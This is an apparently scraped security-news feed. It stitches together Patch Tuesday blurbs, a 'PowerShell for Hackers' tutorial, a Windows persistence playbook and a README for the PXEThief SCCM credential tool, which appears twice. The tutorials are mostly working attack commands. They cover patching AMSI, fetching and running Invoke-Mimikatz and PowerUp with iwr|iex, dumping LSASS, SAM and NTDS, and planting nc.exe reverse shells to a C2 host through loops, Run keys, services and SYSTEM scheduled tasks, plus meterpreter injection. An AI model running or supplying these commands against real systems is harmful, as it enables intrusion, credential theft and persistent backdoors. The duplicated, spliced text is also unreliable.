Microsoft has rolled out a huge Patch Tuesday update bundle for October 2025, addressing 175…
Microsoft October Patch Tuesday Is Huge With 170+ Fixes on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Welcome back hackers!
For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.
First we need to check if the Defender is running on a Russian target:
PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”
And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.
Next, we start patching AMSI with the help of our script, which you can find at the following link:
https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1
As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:
PS > .\shantanukhande-amsi.ps1
If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.
http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1
Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:
PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex
PS > Invoke-Mimikatz -DumpCreds
Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.
Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.
Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.
Let’s run PowerUp and find vulnerable services:
PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex
PS > Get-UnquotedService
Now let’s test the service names and see which one will get us local admin privileges:
PS > Invoke-ServiceAbuse -Name 'Service Name'
If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.
The results can be tested:
PS > net user john
Now we have an admin user on this machine, which can be used for various purposes.
https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper
With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.
To avoid issues, bypass the execution policy:
PS > powershell -ep bypass
Then dump SAM and SYSTEM hives:
PS > .\ntds.ps1
Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.
Next we need to exfiltrate these files and extract the credentials:
bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL
If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.
We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.
Connect to the DC:
c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’
Now you can execute your scripts:
PS > ntds.ps1
Evil-WinRM has a download command that can help you extract the files. After that, run this command:
bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL
In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.
The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.
Microsoft has released the scheduled Patch Tuesday updates for September 2025, addressing 81 security vulnerabilities…
Microsoft Fixed 2 Zero-Days Amid 80+ Patches With September 2025 Patch Tuesday on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Hello cyberwarriors!
This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces.
Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.
Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.
Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"
This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2.
The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.
Pros: allows a controllable retry interval and can be launched from any user account without special privileges.
Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.
This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.
Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:
cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"
cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"
Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login.
Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights.
Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions.
Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.
Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.
cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence
The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot.
The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed.
The third line, sc start persistence, instructs SCM to start the service immediately.
Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.
Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).
Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.
cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"
Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.
Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.
Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.
In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.
First you generate a payload with msfvenom:
c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999
And then inject it into a running process:
cmd$> inject_windows.exe PID meter64.bin
Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.
Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).
Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.
We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.
In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.
The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.
The week of August 4th, I had the opportunity to attend two exciting conferences in the cybersecurity world: Black Hat USA 2025 and Squadcon which were held in Las Vegas....
The post Vegas, Vulnerabilities, and Voices: Black Hat and Squadcon 2025 appeared first on Cyber Defense Magazine.
Microsoft has released the scheduled Patch Tuesday updates for August 2025. This month’s update bundle…
Microsoft Fixed Over 100 Flaws With August 2025 Patch Tuesday on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.
Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.
Loginpython pxethief.py -h
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text
pxethief.py 5 <variables-file-name> should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.
A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:
[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =
[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0
[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1
automatic_interface_selection_mode will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1 it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.manual_interface_selection_by_id allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10.sccm_base_url is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com instead of mp.configmgr.com or http://mp.configmgr.com/stuff.auto_exploit_blank_password changes the behaviour of pxethief 1 to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1 will enable auto exploitation, while setting it to 0 will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.Not implemented in this release
pip install -r requirements.txt)pxethief.py 1 or pxethief.py 2 to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10pxethief.py and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code basepywin32 in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt to get it to run under LinuxExpect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.
Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.
DEF CON 30 Slides - Link to the talk slides
Copyright (C) 2022 Christopher Panayi, MWR CyberSec
Last week I was working on retried HTB machine Optimum. Cool example for simple enumeration with attack using vulnerability for service (web file server), and then privilege escalation using local exploit for unpatched Windows 2012 server. It is example of real case scenario. Great to make
PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.
Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.
python pxethief.py -h
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text
pxethief.py 5 <variables-file-name> should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.
A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:
[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =
[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0
[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1
automatic_interface_selection_mode will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1 it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.manual_interface_selection_by_id allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10.sccm_base_url is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com instead of mp.configmgr.com or http://mp.configmgr.com/stuff.auto_exploit_blank_password changes the behaviour of pxethief 1 to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1 will enable auto exploitation, while setting it to 0 will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.Not implemented in this release
pip install -r requirements.txt)pxethief.py 1 or pxethief.py 2 to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10pxethief.py and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code basepywin32 in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt to get it to run under LinuxExpect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.
Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.
DEF CON 30 Slides - Link to the talk slides
Copyright (C) 2022 Christopher Panayi, MWR CyberSec
